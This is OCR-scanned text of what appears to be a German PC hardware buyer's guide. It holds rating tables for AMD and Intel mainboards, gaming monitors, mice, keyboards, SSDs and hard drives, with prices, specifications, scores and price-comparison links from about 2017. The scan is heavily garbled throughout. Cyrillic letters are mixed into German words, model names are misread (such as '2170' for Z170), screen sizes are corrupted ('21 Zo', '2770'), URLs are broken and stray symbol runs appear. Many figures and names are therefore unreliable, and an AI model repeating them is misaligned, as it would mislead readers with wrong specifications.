XSPC Ray Storm Pro lon AX240 Kit Ca. € 240,- | 287 x 128 x 65 mm 48,9 *C (1.000 U/min) 45,6/47,4/51,8 °C 2,9/1,3/0,5/0,3 Sone 1,58 09/2016 | www.pcgh.de/preis/1450064 


Temperatur- und Lautheitsmessungen entsprechen Luftkühlern, aber das Benotungssystem weicht ab. Wertung nicht vergleichbar! 


Mainboards für AMD-Prozessoren 


* Messung mit analoger Ansteuerung; bei PWM-Ansteuerung gegebenenfalls zusätzliche Stórgeráusche 


Sockel AM4 Preis lOH/Format | PCI-E CPU (3.0) & OH (2.0) | M.2-Anbindung | Sound | USB ext./int.; SATA | Lüfter Test in 

Asus Crosshair VI Hero | Са, € 240,- | X370/ATX | x16*/x0* & x0*/x0*/x0*/x4* | 3.0x4 $1220 | 2/1x3.1; 8/2x3,0; 8x | 7 (7х PWM) | 2,81 05/2017 | www.pcgh.delpreis/1582881 

Gigabyte AX370-Gam.5 | Ca. € 200,- | X370/ATX | x 16*/x0* & x0*/x0*/x0*/x4* | 3.0x4 ALC1220 | 4/0x3.1; 6/4х3,0; 8x | 8 (8х PWM) | 2,82 | 05/2017 | www.pcgh.de/preis/1582173 

MSI X370 Xpower Titan. | Ca. € 270,- | X370/ATX | x16*/x0* & x1/x1/x1/x0* — | 3.0x4; 2.0x4* | ALC1220 | 213.1; 4/4х3,0; 6х | 5 (5х PWM) | 2,93 |05/2017 | www.pcgh.delpreis/1580650 

Asrock X370 Killer SLI ` | Ca. €150,- | X370/ATX | x16*/x0* & x1/x1/x1/x1 3054; 2.0x2 | ALC892 |2/0x3.1:6/4x3,0; 6x | 5 (5х PWM) | 2,93 |05/2017 | www.pcgh.delpreis/1582146 Ti TET 
Asus Prime X370-pro ` | Ca. € 150,- | X370/ATX | x16*/x0* & x0*/x1/x0*/x4* | 3.0x4 $1220A | 211x3.1;6/2x3,0;8x | 6 (6х PWM) | 2,95 | 05/2017 | www.pcgh.de/preis/1582178 

Asus Prime B350-Plus | Ca. €95,- |B350/ATX | x16 & x0*/x4*/x0* 3.0x4 ALC887 | 2/0x3.1; 4/2x3,0; 6x | 3 (3x PWM) | 3,26 | 06/2017 | www.pcgh.delpreis/1582183 

Asrock AB350M Pro4 | Са, є 80, | B350/pATX | x16 & x1/x4 3.0х4; SATA** |ALC892 | 0/0x3.1; 5/2x3,0; 4х | 3 (2x PWM) | 3,36 | 06/2017 | www.pcgh.de/preis/1582198 TT TET 
Gigabyte AB350-Gam.3 | Ca. € 110,- | B350/ATX | x16 & x1/x/4*/x0*/x0* 3.0x4** ALC1220 | 2/0x3.1; 4/2x3,0; 6х | 5 (5x PWM) | 3,39 | 06/2017 | www.pcgh.de/preis/1582168 

Biostar Racing B350GT5 | Ca. € 120,- | B350/ATX | x16 & x0*/x0*/x4* 3.0x4 ALC892 | 2/0x3.1;42x3,0;4x |A(AxPWM) | 3,42 106/2017 | www.pcgh.delpreis/1579988 


* PCI-E-Lane-Sharing ** Shared mit SATA *** Shared mit SATA und mit PCI-E-Slot(s) 


Mainboards für Intel-Prozessoren 


Sockel 2066 Preis PCH/Form. | PCI-E CPU (3.0) & РСН (3.0) |M.2-Anbindung | Sound | USB ext/int; SATA | Lüfter Test in 

Asus Strix X299-E Gam. | Ca. € 320,- | X299/ATX x16/x16/x8 & x1*/x1/x4** 3.0x4; 3.0x4 51220A 2/1x3.1; 4/4х3,0; 8х | 7 (7x PWM 2,05 09/2017 | www.pcgh.de/preis/1641089 

Asrock X299 Pro. Gam. i9 | Ca. € 400,- | Х299/АТХ | x16*/x8/x16/x0* & x 1(-2.0!) 3x 3.0x4 ALC1220 |2/1x3.1; 4/4x3,0; 10x | 5 (5х PWM 2,06 10/2017 www.pcgh.de/preis/1641217° NEU 
MSI X299 Ga. Pro Car. AC | Ca. € 310,- | X299/ATX | x16/x4/x16/x8 & x1/x1 3.0x4; 3.0x4 ALC1220 | 2/1x3.1; 4/4x3,0; 8x | 6 (6x PWM 2,07 09/2017 www.pcgh.de/preis/1632012 4. ТЛ. 
Asus TUF X299 Mark 2 Са. € 230,- | X299/ATX | x16/x16/x8 & x1/x2/x1 3.0x4; 3.0x4 51220A 2/0x3.1; 4/4x3,0; 6x | 8 (8x PWM 2,12 09/2017 | www.pcgh.de/preis/1641192 

MSI X299 Raider Ca. € 200,- | X299/ATX | x16/x16/x8 & х4/х1 3.0х4**; 3.0x4 ALC1220 | 2/1x3.1; 4/4x3,0; 8x | 6 (6x PWM 2,22 10/2017 www.pcgh.de/preis/1641249- NEU 
Gigabyte X299 Gaming 9 | Ca. € 520,- | X299/ATX | x16*/x4*/x16/x0* & x4 3.0х4*; 2x 3.0x4 | ALC1220 | 5/1x3.1; 4/4x3,0; 8x | 8 (8x PWM 2,24 10/2017 www.pcgh.de/preis/1631550- NEU 
Gigabyte X299 Gaming 3 | Ca. € 290,- | X299/ATX | x16/x4/x16/x8 & x4 3.0x4**; 3.0x4 ALC1220 | 2/0x3.1; 6/4x3,0; 8x | 8 (8x PWM 2,29 09/2017 | www.pcgh.de/preis/1631912 

Sockel 1151 Preis PCH/Form. | PCI-E CPU (3.0) & PCH (3.0) M.2-Anbindung | Sound USB ext./int.; SATA | Lüfter | Wertung | Test in PCGH-Preisvergleich 

Asus Maximus VIII Ranger | Ca. € 130,- | Z170/ATX x16*/x0* & х1/х1/х1/х4 3.0x4 ALC1150 | 2/0x3.1; 2/4x3,0; 6x | 7 (7x PWM 2/33 11/2015 | www.pcgh.de/preis/1306336 (T 11113 
Asus Z170-Deluxe Са. € 200,- | 2170/АТХ x16*/x0* & х1/х1/х1/х1/х2* 3.0x4 ALC1150 | 6/0x3.1; 1/4x3,0; 8x | 7 (6x PWM 2,34 10/2015 | www.pcgh.de/preis/1306329 

MSI 2270 Gam. Pro Carb. | Ca. € 160,- | 2270/АТХ | x16*/x0* & x1/x1/x1/x4 3.0x4; 3.0x4** ALC1220 | 2/0x3.1; 4/4x3,0; 6x | 6 (6x PWM 2,37 02/2017 | www.pcgh.de/preis/1557471 

Asus Maximus IX Hero Ca. € 250,- | Z270/ATX x16*/x0* & x1/x1/x0*/x4* 3.0x4; 3.0x4** ALC1220 | 2/2x3.1; 4/2x3,0; 6x | 8 (8x PWM 2,41 02/2017 | www.pcgh.de/preis/1557900 

Gigabyte 2270Х-бат. 7 | Ca. € 200,- | Z270/ATX x16*/x0* & x1/x1/x0*/x0* 3.0х4*; 3.0x4** | Sound Core | 2/0x3.1; 5/4x3,0; 6x | 7 (7х PWM 2,46 02/2017 | www.pcgh.de/preis/1557876 

Asrock 7270 Gaming K6 | Ca. € 180,- | Z270/ATX x16*/x0* & х1/х1/х1/х4 3.0x4**: 3.0x4** | ALC1220 | 2/0x3.1; 4/4x3,0; 8x | 5 (bx PWM 2,52 02/2017 | www.pcgh.de/preis/1544856 

MSI Z170A Gaming M7 Ca. € 160,- | Z170/ATX x16*/x0* & х1/х0*/х0*/х0*/х4* | 3.0x4; 3.0x4*** | ALC1150 | 2/0x3.1; 2/4x3,0; 6x | 5 (2х PWM 2,53 10/2015 | www.pcgh.de/preis/1306689 

Asrock 2170 Gaming K4 | Ca. € 120,- | Z170/ATX x16 & х1/х1/х4/х1 3.0x4 ALC1150 | 0/0x3.1; 6/2x3,0; 6x | 6 (2x PWM 2,58 11/2015 | www.pcgh.de/preis/1306625 

Biostar Z270GT6 Ca. € 210,- | Z270/ATX x16 & x1/x1/x4l*x1/x4 3.0x4* ALC892 0/0x3.1; 5/2х3,0; 6x | 5 (5х PWM 2 04/2017 | www.pcgh.de/preis/1558351 

Asrock B150M Pro4S Ca. € 70,- | BIBO/JATX | x16 & x1/x1/x4 - ALC892 0/0x3.1; 4/2x3,0; 6x | 3 (3x PWM 3,28 08/2016 | www.pcgh.de/preis/1318332 

Sockel 2011-v3 Preis PCH/Form. | PCI-E CPU (3.0) & PCH (2.0) M.2-Anbindung | Sound USB ext./int.; SATA | Lüfter | Wertung | Test in PCGH-Preisvergleich 

Asrock X99 Taichi Ca. € 230,- | X99/ATX x16*/x16/x0* & x1/x1 3.0x4; 3.0x4 ALC1150 | 2/x3.1; 3/2x3,0; 10x | 5 (3x PWM) 1,80 10/2016 | www.pcgh.de/preis/14626244 15: r] 
Asus Strix X99 Gaming Ca. € 290,- | X99/ATX x16*/x16/x0* & x0*/x1*/x1* 3.0x4 ALC1150 | 2/x3.1; 4/4x3,0; 10x | 6 (6x PWM) 1,84 10/2016 | www.pcgh.de/preis/1441449 

Gigabyte X99-Ultra Gam. | Ca. € 290,- | X99/ATX x16*/x16*/x0*/x0* & x1 3.0x4 ALC1150 | 2/x3.1; 6/4x3,0; 10x | 5 (3x PWM) 1,89 10/2016 | www.pcgh.de/preis/1446348 

MSI X99A Raider Ca. € 200,- | X99/ATX x16*/x16/x0* & x1/x1 3.0x4 ALC892 2/x3.1; 412x3,0; 10x | 5 (2x PWM) 1,95 10/2016 www.pcgh.de/preis/1247988 ТҮ 
Asus X99-E Ca. € 220,- | X99/ATX х16/х16/х0* & x1/x1 3.0х4* ALC1150 | 1/x3.1; 4/4x3,0; 10x | 5 (5х PWM) 1,95 10/2016 | www.pcgh.de/preis/1441447 

MSI X99A Gam. Pro Carb. | Ca. € 260,- | X99/ATX х16*/х16/х0*/х0* & х1/х1 3.0x4* о. 2.0x2** | ALC1150 | 2/x3.1; 4/5х3,0; 10x | 5 (1x PWM) 1,96 10/2016 | www.pcgh.de/preis/1443681 


* PCI-E-Lane-Sharing ** Shared mit SATA 
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Einkaufsführer | SERVICE 


Einkaufsführer LCDs & Eingabegeräte ea 


(TLYWSP[PREIS-LEISTUNGS-TIPP ШТ PISPAR-TIPP 


Full HD Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Wertung PCGH-Preisvergleich 
Asus MG248Q Ca. € 310,- 24 Zo 144 Hertz 5 ms 3ms 69 bis 320 cd/m? N-Pane Freesync 1,66 | 06/2016 | www.pcgh.de/preis/1419189 
liyama GB2488HSU-B2 N. verf. 24 Zo 144 Hertz 5 ms 12 ms 78 bis 367 cd/m? N-Pane Freesync 1,69 | 05/2016 | www.pcgh.de/preis/1367528 
ПТУ Acer XF240H bmjdpr Ca. € 250,- 24 Zo 144 Hertz 5 ms 2ms 120 bis 370 cd/m? N-Pane Freesync 1,74 | 05/2016 | www.pcgh.de/preis/1344416 
Medion Erazer X58426 Ca. € 430,- 31,5 Zoll 144 Hertz 12 ms 11 ms bis 288 cd/m? VA-Pane Freesync 1,76 | 05/2017 | www.pcgh.de/preis/1585204 
ПТМ) AOC G2460PF Ca. € 230,- 24 Zo! 144 Hertz 6 ms 4 ms 156 bis 358 cd/m? N-Pane Freesync 177 | 05/20 .pcgh.de/preis/1318972 
Asus VG278HV Ca. € 370,- 27 Zo 144 Hertz 5 ms 9ms 58 bis 305 cd/m? N-Panel - 1,79 05/20 pcgh.de/preis/1336350 
INEU Asus ROG Swift PG258Q | Ca. € 555,- 24,5 Zoll 240 Hertz 1ms 15 ms bis 488 cd/m? N-Pane G-Sync 1,93 10/201 .pcgh.de/preis/1451609 
WQHD Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Wertung PCGH-Preisvergleich 
Viewsonic XG2703-GS Ca. € 800,- 21 Zo 165 Hertz - 12 ms bis 355 cd/m? PS-Panel G-Sync 1,56 | 04/2017 | www.pcgh.de/preis/1504306 
AOC Agon AG241QG Ca. € 500,- 24 Zo 165 Hertz = 13 ms bis 450 cd/m? N-Pane G-Sync 1,74 04/2017 | www.pcgh.de/preis/1476116 
US Asus MG279Q Ca. € 560,- 2770 144 Hertz 8 ms 9 ms 35 bis 343 cd/m? PS-Panel Freesync 1,87 08/2015 | www.pcgh.de/preis/1215454 
Benq XL2730Z Ca. € 600,- 2770 144 Hertz 8ms 8 ms 52 bis 353 cd/m2 N-Panel Freesync 2,01 05/2015 | www.pcgh.de/preis/1223748 
Acer T272HUL bmidpcz Ca. € 550,- 21 Zo 60 Hertz 5 ms 19 ms 74 bis 312 cd/m? VA-Pane - 2,04 | 03/2014 | www.pcgh.de/preis/997601 
Ultra HD Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR 
iyama X4071UHSU-B1 Ca. € 560,- 40 Zo 60 Hertz 6 ms 25 ms 69 bis 295 cd/m? MVA-Panel |— 1,81 11/2016 | www.pcgh.de/preis/1362847 
IT Asus PB287Q Ca. € 390,- 28 Zo 60 Hertz 2ms 3ms 36 bis 277 cd/m? TN-Panel - 1,87 07/2014 | www.pcgh.de/preis/1094194 
Asus PB279Q Ca. € 600,- 27 Zo 60 Hertz 6 ms 9 ms 54 bis 266 cd/m? IPS-Panel _ 2,04 01/2015 | www.pcgh.de/preis/1123437 
LG 27MU67-B Ca. € 590,- 2770 60 Hertz 8 ms 11 ms 72 bis 230 cd/m? IPS-Pane Freesync 212 09/2015 | www.pcgh.de/preis/1273811 
21:9 Preis Auflösung Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Wertung PCGH-Preisvergleich 
LG 38UC99-W Са. € 1.320,- | 3.840 x 1.600 | 75 Hertz 7ms 10 ms 50 bis 295 cd/m? AHIPS-Panel | Freesync 1,39 03/2017 | www.pcgh.de/preis/1501656 
Asus ROG PG348Q Са. € 1.100,- | 3.440 x 1.440 | 100 Hertz 6 ms 4ms 31 bis 324 cd/m? IPS-Panel G-Sync 1,61 04/2016 | www.pcgh.de/preis/1276261 
LG 34UC98-W Ca. € 850,- 3.440 x 1.440 | 75 Hertz 10 ms 2ms 70 bis 295 cd/m? IPS-Panel Freesync 1,76 | 07/2016 | www.pcgh.de/preis/1395258 
Samsung S34E790C Ca. € 690,- 3.440 x 1.440 | 60 Hertz 10 ms 6 ms 46 bis 295 cd/m? MVA-Panel |— 1,76 04/2016 | www.pcgh.de/preis/1195794 
Asus MX34VQ Ca. € 750,- 3.440 x 1.440 | 100 Hertz 12ms 9ms bis 299 cd/m? VA-Pane Freesync 1,83 08/2017 | www.pcgh.de/preis/1565011 
Modell Preis Kabellänge | Tasten Abtastung Auflösung Gewicht Ergonomie | ТШТ] PCGH-Preisvergleich 
Roccat Nyth Ca. € 100,- | 180 cm 16 + Scrollrad Optisch (Laser) | 12.000 Dpi 130 Gramm Sehr gu 1,16 11/2015 | www.pcgh.de/preis/1300527 
Roccat Leadr Ca. € 150,- | Schnurlos 12 4 Scrollrad Optisch (LED 2.000 Dpi 134 Gramm Sehr gu 1,22 08/2017 | www.pcgh.de/preis/1558254 
Razer Lancehead Са. € 150,- | Schnurlos | 8 + Scrollrad Optisch (Laser) | 16.000 Dpi 126 Gramm Sehr gu 1,27 | 08/2017 | www.pcgh.de/preis/1615980 
Roccat Tyon Ca. € 100,- | 180 cm 12 + Scrollrad Optisch (Laser) | 8.200 Dpi 126 Gramm Sehr gu 132 12/2014 | www.pcgh.de/preis/1154844 
ШТУ Asus ROG Gladius II Ca.€80,- | 200/100 cm | 6 + Scrollrad Optisch (LED 2.000 Dpi 110 Gramm Sehr gu 1,32 04/2017 | www.pcgh.de/preis/1574884 
Logitech G900 Chaos Spectrum | Ca. € 110,- | Schnurlos 10 + Scrollrad Optisch (LED 2.000 Dpi 107 Gramm Sehr gu 1:33 07/2016 | www.pcgh.de/preis/1414931 
Razer Mamba 2015 Са. € 140,- | Schnurlos 6 + Scrollrad Optisch (LED 6.000 Dpi 128 Gramm Sehr gu 1,37 04/2017 | www.pcgh.de/preis/1310490 
Razer Mamba Tournament Edition | Са. € 80,- | 210 cm 6 + Scrollrad Optisch (Laser) | 16.000 Dpi 133 Gramm Sehr gu 1,39 | 01/2016 | www.pcgh.de/preis/1310517 
Asus ROG Pugio Ca. € 80,- | 200 ст 7,5 oder 3 + Scrollrad | Optisch (LED) | 7.200 Dpi 103 Gramm Sehr gu 1,40 07/2017 | www.pcgh.de/preis/1643056 
Roccat Kone EMP Ca. € 80,- 180 cm 6 + Scrollrad Optisch (LED 2.000 Dpi 116 Gramm Sehr gu 1,42 04/2017 | www.pcgh.de/preis/1558194 
ТТМ) 6403 Prodigy Wireless Ca.€80,- | Schnurlos 5 + Scrollrad Optisch (LED 2.000 Dpi 107 bis 117 Gramm | Sehr gu 1,43 12/2016 | www.pcgh.de/preis/1503381 
Nicht mechanisch Preis Beleuchtung Anschlüsse Handballenablage | Zusatztasten Makro/Speicher ТҮ PCGH-Preisvergleich 
Roccat Isku+ Force FX Ca. € 110,- | Voll, RGB-Farbraum _ a (integriert) 10 + 5 Makrotasten | Ja/ja (k. A.) 1,60 06/2017 | www.pcgh.de/preis/1558265 
Razer Ornata Chroma Ca. € 110,- | RGB-Einzeltastenbel. - а (modular) 11 (Doppelbelegung) | Ja/ja (k. A.) 1,62 03/2017 | www.pcgh.de/preis/1513169 
[rip Asus Cerberus Ca.€50,- | Voll, zwei Farben - a (integriert) 6 a/ja (k. A.) 1,86 10/2016 | www.pcgh.de/preis/1338736 
NEU Logitech G213 Prodigy Ca.€60,- | Voll, RGB-Farbraum _ a (integriert) 10 аЛа (ein Profil) 1,88 10/2017 | www.pcgh.de/preis/1503355 
Sharkoon Skiller Pro+ Са. Є 35,- | Voll, sieben Farben _ a (integriert) 9 + 3 Profilwahlta. alja (k. A.) 1,96 10/2016 | www.pcgh.de/preis/1344423 
Mechanisch Preis Beleuchtung Anschlüsse Schalter (getestet) | Schalter (verfüg.) | Makro/Speicher MIGATI PCGH-Preisvergleich 
Roccat Ryos MK FX Ca. € 180,- | RGB-Einzeltastenbel. Audio Cherry MX Brown | MX Black/Red/Blue | Ja/ja (2 MByte) 1,26 09/2016 | www.pcgh.de/preis/1388126 
Razer Black Widow Chroma V2 Ca. € 190,- | RGB-Einzeltastenbel. 1xUSB 2.0, Audio | Razer Yellow (RGB) | Razer Green/Brown а/а (k. A.) 1,30 04/2017 | www.pcgh.de/preis/1568991 
Corsair K95 Platimun RGB Ca. € 185,- | RGB-Einzeltastenbel. 1x USB 2.0 Ch. MX Speed RGB | Ch. MX Speed КСВ | Ja/ja (8 MByte) 1,36 07/2017 | www.pcgh.de/preis/1572533 
. NEU Creative SBX Vanguard K08 Ca. € 165,- | RGB-Einzeltastenbel. 1x USB 2.0 Creative/Omron PRES | Creative/Omron PRES | Ja/ja (k. A.) 1,44 10/2017 | www.pcgh.de/preis/1369386 
ШТУ Corsair Strafe RGB MX Silent Са. € 150,- | RGB-Einzeltastenbel. 1 x USB 2.0, Audio | Cherry MX Silent Red | MX Silent Red/Brown | Ja/ja (k. A.) 1,45 03/2015 | www.pcgh.de/preis/1318576 
I D Qpad MK 90 Ca. € 90,- RGB-Einzeltastenbel. 2 x USB 2.0, Audio | Kailh RGB Red Kailh RGB Black a/ja (k. A.) 1,45 11/2015 | www.pcgh.de/preis/1258778 
Tt esports Poseidon Z RGB Ca.€95,- | RGB-Einzeltastenbel. Keine Kailh Blue RGB Kailh Brown RGB alja (512 kByte) 1,47 10/2016 | www.pcgh.de/preis/1462098 
Patriot Viper V760 Ca. € 125,- | RGB-Einzeltastenbel. 1x USB 2.0 Kailh RGB Brown Kailh RGB Brown аЛа (6 Profile) 1,49 07/2017 | www.pcgh.de/preis/1539759 
INEU Lioncast LK300 RGB Ca. € 120,- | RGB-Einzeltastenbel. Keine Kailh RGB Red Lioncast LK300 RGB | Ја/ја (k. A.) 1,50 10/2017 | www.pcgh.de/preis/1659898 
Asus ROG Claymore Ca. € 240,- | RGB-Einzeltastenbel. Keine Cherry MX RGB Red | Cherry MX RGB Red | | Ja/ja (k. A.) 1,50 03/2017 | www.pcgh.de/preis/1549791 
Roccat Suora FX Са. Є 140,- | RGB-Einzeltastenbel. Keine TIC RGB Brown TIC RGB Brown alja (k. A.) 1,50 03/2017 | www.pcgh.de/preis/1538924 
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SERVICE | Einkaufsführer 


Einkaufsführer 5505 & Festplatten 


Preise: Stand 24.08.2017 


Solid State Drives (SATA 3/2,5 Zoll) 


Kai 


[IS ERPREIS-LEISTUNGS-TIPP 


[ERS fT SPAR-TIPP 


НҤїйшкге 


Bis 256 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie Test in PCGH-Preisvergleich 
Samsung SSD 850 Evo Ca. € 90,- 233 GiB/250 GB 514/496 MB/s 76.000 81 Sekunden | 5 Jahre 1,96 08/2015 | www.pcgh.de/preis/1 194261 
Adata Ultimate SU900 Ca.€115- | 238 GiB/256 GB 529/490 MB/s 83.000 84 Sekunden | 5 Jahre 2,00 05/2017 | www.pcgh.de/preis/1563414 
Adata SX930 Са. Є 110,- | 224 GiB/240 GB 515/410 MB/s 78.000 91 Sekunden | 5 Jahre 2,04 | 12/2015 | www.pcgh.de/preis/1299666 
Sandisk X400 Ca.€100,- 233 GiB/250 GB 478/492 MB/s 23.000 121 Sekunden | 5 Jahre 2,31 07/2016 | www.pcgh.de/preis/1368843 
Sandisk Ultra II Ca. € 90,- 224 GiB/240 GB 478/407 MB/s 24.000 109 Sekunden | 3 Jahre 2,31 07/2016 | www.pcgh.de/preis/1154831 
Kingston HyperX Sav. SSD Kit | Ca. € 135,- | 224 GiB/240 GB 525/497 MB/s 33.000 103 Sekunden | 3 Jahre 2,32 08/2015 | www.pcgh.de/preis/1255802 
Kingston SSDnow UV400 Ca. € 85,- 224 GiB/240 GB 512/488 MB/s 22.000 159 Sekunden | 3 Jahre 2,63 05/2017 | www.pcgh.de/preis/1446599 
Bis 512 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie Test in PCGH-Preisvergleich 
Samsung SSD 850 Evo Са. € 160,- | 466 GiB/500 GB 514/502 MB/s 89.000 72 Sekunden | 5 Jahre 1,85 08/2015 | www.pcgh.de/preis/1194263 
Toshiba 0300 Pro Са. € 230,- |477 GiB/512 GB 519/490 MB/s 48.000 63 Sekunden | 5 Jahre 1,92 12/2015 | www.pcgh.de/preis/1312394 
Sandisk Extreme Pro Ca. € 245,- |447 GiB/480 GB 527/492 MB/s 39.000 93 Sekunden | 10 Jahre 2,07 07/2016 | www.pcgh.de/preis/1126463 
Sandisk Ultra II Са. € 150,- | 447 GiB/480 GB 477/498 MB/s 28.000 91 Sekunden | 3 Jahre 2,16 07/2016 | www.pcgh.de/preis/1154832 
Corsair Neutron Xti Са. € 250,- | 466 GiB/480 GB 528/493 MB/s 15.000 85 Sekunden | 5 Jahre 2,211 05/2017 | www.pcgh.de/preis/1469015 
Sandisk X400 Ca. € 170,- | 477 GiB/512 GB 476/492 MB/s 25.000 99 Sekunden | 5 Jahre 2,23 07/2016 | www.pcgh.de/preis/1368844 
Western Digital WD Blue SSD | Ca. € 145,- | 466 GiB/500 GB 479/495 MB/s 32.000 104 Sekunden | 3 Jahre 2,30 05/2017 | www.pcgh.de/preis/1521437 
Kingston SSDnow UV400 Ca. € 145,- | 466 GiB/480 GB 528/480 MB/s 22.000 126 Sekunden | 3 Jahre 2,41 05/2017 | www.pcgh.de/preis/1446624 
Ab 960 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie Test in 
Samsung SSD 850 Pro Са. € 435,- |954 GiB/1.024GB | 528/502 MB/s 90.000 73 Sekunden 10 Jahre 1,74 08/2015 | www.pcgh.de/preis/1136105 
Samsung SSD 850 Evo Ca. € 1.350,- | 3.726 GiB/4.000 GB | 520/502 MB/s 90.000 65 Sekunden | 5 Jahre 1,79 11/2016 | www.pcgh.de/preis/1427527 
Toshiba 0300 Pro Са. € 400,- | 954 GiB/1.024 GB 519/490 MB/s 50.000 69 Sekunden | 5 Jahre 1,89 05/2017 | www.pcgh.de/preis/1424648 
OCZ VX500 Са. €370,- | 954 GiB/1.024 GB | 520/490 MB/s 50.000 69 Sekunden | 5 Jahre 1,91 05/2017 | www.pcgh.de/preis/1507141 
Mushkin Reactor Са. Є 285,- |932 GiB/1.000 GB | 514/435 MB/s 68.000 74 Sekunden | 3 Jahre 2,03 | 07/2016 | www.pcgh.de/preis/1202066 
Crucial MX300 Ca. € 510,- 1.910 GiB/2.048 GB | 494/490 MB/s 61.000 84 Sekunden | 3 Jahre 2,09 11/2016 | www.pcgh.de/preis/1507986 
Corsair Neutron Xti Ca. € 375,- | 932 GiB/960 GB GB | 528/466 MB/s 78.000 85 Sekunden | 5 Jahre 2,05 05/2017 | www.pcgh.de/preis/1469016 
0CZ Vector 180 Са. € 400,- | 894 GiB/960 GB 513/488 MB/s 81.000 89 Sekunden | 5 Jahre 2,15 | 08/2015 | www.pcgh.de/preis/1230950 
Crucial BX100 N. verfügbar | 932 GiB/1.000 GB 528/434 MB/s 70.000 76 Sekunden | 3 Jahre 2,24 | 08/2015 | www.pcgh.de/preis/1215186 


* L/S: Lesen und Schreiben | ** 4k- 


Random-Write-Operationen pro Sekunde 


Solid State Drives (M.2/PCle 3.0 x4) 


Bis 512 Gigabyte Preis Kapazitát bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie Test in PCGH-Preisvergleich 

Toshiba ОС7 RD400 Ca.€260,- |477 GiB/512 GB 1.996/947 MB/s 126.000 43 Sekunden | 5 Jahre 1,84 11/2016 | www.pcgh.de/preis/1448318 (E TTE 
Corsair MP500 Са. € 260,- | 447 GiB/480 GB 2399/1322 MB/s 87.000 49 Sekunden | 3 Jahre 1,84 05/2017 | www.pcgh.de/preis/1552578 

PNY CS2030 Са. Є 130,- | 238 GiB/240 GB 2.436/1231 MB/s 68.000 52 Sekunden | 3 Jahre 1,94 | 05/2017 | www.pcgh.de/preis/1571194 (Tr Tiri 
Zotac Sonix Са. € 330,- |477 GiB/512 GB 2.250/1.330 MB/s 95.000 56 Sekunden | 3 Jahre 2,04 11/2016 | www.pcgh.de/preis/1406123 

Kingston Hyper X Predator Са. € 335,- | 447 GiB/480 GB 1.340/890 MB/s 117.000 61 Sekunden | З Jahre 2,47 12/2015 | www.pcgh.de/preis/1247224 

Adata 5Х8000 Са. Є 220,- | 447 GiB/512 GB 1112/1110 MB/s 41.000 69 Ѕекипдеп | 5 Jahre 2,68 | 05/2017 | www.pcgh.de/preis/1532201 

Intel SSD 600p Ca. € 180,- | 477 GiB/512 GB 1.196/551 MB/s 33.000 61 Sekunden | 5 Jahre 2,83 | 05/2017 | www.pcgh.de/preis/1491162 

Ab 960 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie Test in PCGH-Preisvergleich 

Samsung SSD 960 Pro Са. Є 530,- |954GiB/1.024GB | 2.516/2.180 MB/s 245.000 41 Sekunden | 5 Jahre 1,65 12/2016 | www.pcgh.de/preis/1511187 

Samsung SSD 960 Evo Са. € 430,- | 954 GiB/1.024 GB | 2.467/2.007 MB/s 144.000 47 Sekunden | 3 Jahre 1,79 | 02/2017 | www.pcgh.de/preis/1511201 
Intel SSD 750 Са. Є 770,- | 1.118 GiB/1.200 GB | 2.353/1.306 MB/s 247.000 48 Sekunden | 5 Jahre 2,03 | 08/2015 | www.pcgh.de/preis/1227662 


* L/S: Lesen und Schreiben | ** 4k- 


Festplatten (3,5 Zoll) 


Random-Write-Operationen pro Sekunde 


Ab 5.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Test in PCGH-Preisvergleich 

Seagate Ironwolf NAS HDD Са. € 350,- | 9.313 GiB/10.000 GB | 7.200 0,6/1,1 Sone 14,8/7,23 ms 188/186 MB/s 1,71 06/2017 | www.pcgh.de/preis/1479598 ФТ 
Toshiba N300 Ca. € 190,- | 5.586 GiB/6.000 GB | 7.200 1,1/1,6 Sone 12,0/13,4 ms 167/163 MB/s 1,90 06/2017 | www.pcgh.de/preis/1562775 

Seagate Archive HDD 8TB Ca. € 205,- | 7.452 GiB/8.000 GB | 5.900 0,5/0,6 Sone 13,5/14,0 ms 143/136 MB/s 2,23 08/2015 | www.pcgh.de/preis/1204027 

Altes Testsystem 

Bis 3.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Test in PCGH-Preisvergleich 

Toshiba DTO1ACA300 Ca.€75,- | 2.794 GiB/3.000 GB | 7.200 0,3/0,6 Sone 15,2/15,4 ms* 154/153 MB/s 1,90 01/2013 | www.pcgh.de/preis/833757 ТҮР 
Western Digital Red WD30EFRX Ca. € 100,- | 2.794 GiB/3.000 GB | 5.400 0,2/0,3 Sone 19,9/21,0 ms* 112/112 MB/s 2,22 01/2013 | www.pcgh.de/preis/807343 

Bis 5.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Test in PCGH-Preisvergleich 

Western Digital Black WD4003FZEX Ca. € 220,- | 3.726 GiB/4.000 GB | 7.200 0,5/0,9 Sone 12,5/12,9 ms 145/146 MB/s 1,98 02/2014 | www.pcgh.de/preis/1010394 

HGST Deskstar HDS724040ALE640 N. verfügb. | 3.726 GiB/4.000 GB | 7.200 0,5/0,6 Sone 16,3/14,8 ms* 131/135 MB/s 1,98 02/2014 | www.pcgh.de/preis/682487 

Western Digital Red WD40EFRX Ca. € 130,- | 3.726 GiB/4.000 GB | 5.400 0,4/0,5 Sone 16,6/18,5 ms 119/109 MB/s 2,06 02/2014 | www.pcgh.de/preis/992027 

Ab 6.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Test in 

